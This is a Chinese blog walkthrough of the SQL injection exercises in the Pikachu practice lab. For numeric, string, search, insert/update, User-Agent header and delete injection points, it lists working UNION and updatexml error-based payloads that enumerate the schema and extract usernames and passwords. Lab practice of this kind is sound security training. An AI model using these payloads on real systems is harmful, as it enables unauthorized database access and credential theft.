首页 > 数据库 >Pikachu靶场-SQL注入

Pikachu靶场-SQL注入

时间:2024-09-20 14:48:20浏览次数:10  
标签:group -- Pikachu concat SQL table 靶场 select schema

Pikachu 靶场
数字型注入

这里使用的是 POST 型提交的所以要用 抓包工具做

(1)判断回显位置

语法:id=1 union select 1,2 -- -

页面已经显示出有几列了所以没测试

(2)判断库名

语法:id=1 union select 1,database() -- -

(3)判断表名

语法:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- -

(4)判断字段名

语法:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'-- -

(5)获取数据

语法:id=1 union select group_concat(password),group_concat(username) from pikachu.users -- -


字符型注入

(1)判断闭合符

输入 1'报错加上闭合符后不报错由此判断闭合符为单引号

(2)判断列数

语法:1' order by 2 -- -

这里输入1' order by 2 -- - 没有报错,输入1' order by 3 -- - 则报错由此判断列数 2

(3)判断回显位置

语法:1' union select 1,2 -- -

(4)判断数据库名

语法:1' union select database(),2 -- -

(5)判断表名

语法:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- -

(6)判断字段名

语法: 1'union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'-- -

(7)获取数据

语法: 1' union select group_concat(username),group_concat(password) from pikachu.users -- -


搜索型注入

搜索型即模糊匹配在 MySQL 中的模糊匹配符号是%所以注入时要加上%其它同理

(1)判断闭合符

这里使用 1' 和 1'-- -都报错所以可以判断出闭合符是 1'

(2)判断列数

语法:1%' order by 3 -- -

这里输入1' order by 3 -- - 没有报错,输入1' order by 4 -- - 则报错由此判断列数 3

(4)判断数据库名

语法 :1%' union select 1,database(),3 -- -

(5)判断表名

语法:1%' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu' -- -

(6)判断字段名

语法:1%' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users' -- -

(7)获取数据

语法:1%' union select 1,group_concat(username),group_concat(password) from pikachu.users-- -


XX 型注入

字符型注入的一种只是闭合符不同

(1)判断闭合符

这里使用 1' 和 1'-- -都报错所以可以判断出闭合符是 1')

(2)判断列数

语法:1') order by 2 -- -

这里输入1') order by 2 -- - 没有报错,输入1') order by 3 -- - 则报错由此判断列数 2

(3)判断回显位置

语法:1') union select 1,2 -- -

(4)判断数据库名

语法:1') union select database(),2 -- -

(5)判断表名

语法: 1') union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- -

(6)判断字段名

语法: 1') union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'-- -

(7)获取数据

语法: 1') union select group_concat(username),group_concat(password) from pikachu.users -- -


insert/update 注入

insert:在为数据库添加数据时注入(例如注册用户)也可使用报错注入方式

(1)寻找注入点以及闭合符

POST 提交方式注入的一般注入点都在请求数据当中,所以直接在请求数据加上闭合符可以看到报错了,这里基本确认闭合符是单引号

(2)判断数据库名

语法:username=admin'and updatexml(1,concat(2,(select database())),3) or '

(3)判断表名

语法:username=111' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '

用户名格式应该是有限制只能用数字注入

(4)判断字段名

语法:username=111' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),3) or '

(5)获取数据

语法:username=111' and updatexml(1,concat(2,(select group_concat(username) from pikachu.users)),3) or '

update 注入:就是在修改数据时注入(比如修改用户名之类的)注入方法同理


http head 注入

依旧是先登录在登陆时抓包然后放到对比器和重发器中进行对比留下有用的包

(1)判断闭合符

在 UA 数据结尾处添加闭合符

已知闭合符为单引号

(2)获取库名

语法:User-Agent: 1' and updatexml(1,concat(2,(select database())),3) or '

这里使用了User-Agent: 1' and updatexml(1,concat(2,(select database())),3) -- -应该是后面有重要的查询没有显示所以用了 or '

前面的闭合符是闭合条件查询,后面的闭合符为了确保后面有效查询被闭合避免错误或者也可以写 or ' 1=1 确保后面是个有效条件

(3)获取表名

语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '1=1

(4)获取字段名

语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),3) or ' 1=1

(5)获取数据

语法:User-Agent: 1' and updatexml(1,concat(2,(select group_concat(username) from pikachu.users)),3) or ' 1=1


delete 注入

一般用于用户删除数据,注销用户时使用

(1)判断数据库名

语法:id=57+and+updatexml(1,concat(2,(select+database())),3)

这里已经显示出来是数字型了所以不用判断闭合符

注:在 URL 地址栏中输入特殊字符需要转换为 URL 编码格式

(2)判断表名

语法:id=57+and+updatexml(1,concat(2,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu')),3)

(3)判断字段名

语法: id=57+and+updatexml(1,concat(2,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema%3d'pikachu'+and+table_name='users')),3) HTTP/1.1

(4)获取数据

语法:id=57+and+updatexml(1,concat(2,(select+group_concat(username)+from+pikachu.users)),3)


标签:group,--,Pikachu,concat,SQL,table,靶场,select,schema
From: https://blog.csdn.net/Ee_CN/article/details/142385447

相关文章

  • 05-Mysql索引优化实战二
    分页查询优化1示例表:2CREATETABLE`employees`(3 `id`int(11)NOTNULLAUTO_INCREMENT,4 `name`varchar(24)NOTNULLDEFAULT''COMMENT'姓名',5 `age`int(11)NOTNULLDEFAULT'0'COMMENT'年龄',6 `position`varchar(20)NOTNUL......
  • docker 安装 mysql 详细教程
    1.打开docker目录cd/usr/local/mkdirdocker2.创建mysql文件夹/usr/local/dockermkdirmysql3.打开mysql文件夹cdmysql/4.创建配置文件目录mkdirconfig5.打开configcdconfig/6.编写配置文件vimmy.cnf[client]#端口号port=3306[mysql]no-be......
  • MyFlash MySQL数据恢复实战案例:将MySQL Docker容器误删除DELETE的数据进行闪回恢复
    创建MySQL容器mkdir-p{data,conf.d}cat>conf.d/log-bin.cnf<<-EOF[mysqld]log_bin=mysql-binlogserver_id=1EOFdockerrm-fmysqldockerrun-d--namemysql-eMYSQL_ROOT_PASSWORD=123456-p3306:3306-v/etc/localtime:/etc/localtime-v./data:......
  • MyFlash使用示例——美团点评的开源MySQL闪回工具安装及使用示例
    下载及安装我已经将二进制安装包上传至网盘,点击如下链接进行下载——链接:https://pan.baidu.com/s/1RzuHv6nDiAVMP7yk03bdNg?pwd=jtua提取码:jtua将如下两个二进制文件拷贝至Linux系统PATH路径下将mysqlbinlong20160408重命名为mysqlbinlog1.Howtousecdbinary......
  • 使用MyFlash的mysqlbinlog工具查看MySQL binlog的原始SQL语句
    要使用myflash的mysqlbinlog工具查看MySQLbinlog的原始SQL语句,你可以按照以下步骤操作:确保你的MySQL服务器已经开启了binlog,并且binlog格式设置为ROW。这可以通过设置binlog_format=row和binlog_row_image=full在MySQL配置文件中实现。安装myflash工具。你可以从GitH......
  • MySQL shell脚本案例:实现每隔一小时统计MySQL数据更新次数,并将结果记录到文件中
    要编写一个Shell脚本,每隔一小时统计MySQL中数据更新的次数,并将结果写入一个文本文件update-record.txt中,你可以按照以下步骤来实现:创建脚本文件:首先创建一个Shell脚本文件,比如命名为mysql_update_stats.sh。编写脚本内容:在脚本中编写执行SQL查询并将结果写入文件的逻辑。设......
  • python关于pymysql 执行sql语句in的用法
    今天在执行python代码中发现一个有意思的事,直接看代码注意如下红色部分name='张三'ids=1,2,3sql="selectNAME,NUM,SEXfromTEMP_TWHERENAME=%sandidin(%s)"param=(name,ids)cursor.execute(sql,param) 发现实际执行的sql语句是:selectNAM......
  • MySQL数据备份和恢复
    MySQL数据备份和恢复完整解决方案一、备份策略设计备份类型:全量备份:备份整个数据库,适合定期执行。增量备份:只备份自上次备份以来变更的数据,适合频繁备份。差异备份:备份自上次全量备份以来的所有变更。备份频率:根据业务需求确定备份频率,例如每天、每周或每小时。备份窗......
  • 158.337 Queries (SQL/LINQ), Triggers
    158.337GroupProjectInstructions:PartB(Coursemark- 17.5%)Youwillcontinuetoworkingroups*forthisassignment.Youdonotneedto registeragain but in case you change your group membership please let us know via emailing Indu (i......
  • 【实战篇】MySQL是怎么保证高可用的?
    背景在一个主备关系中,每个备库接收主库的binlog并执行。正常情况下,只要主库执行更新生成的所有binlog,都可以传到备库并被正确地执行,备库就能达到跟主库一致的状态,这就是最终一致性。但是,MySQL要提供高可用能力,只有最终一致性是不够的。主备切换可能是一个主动运维动......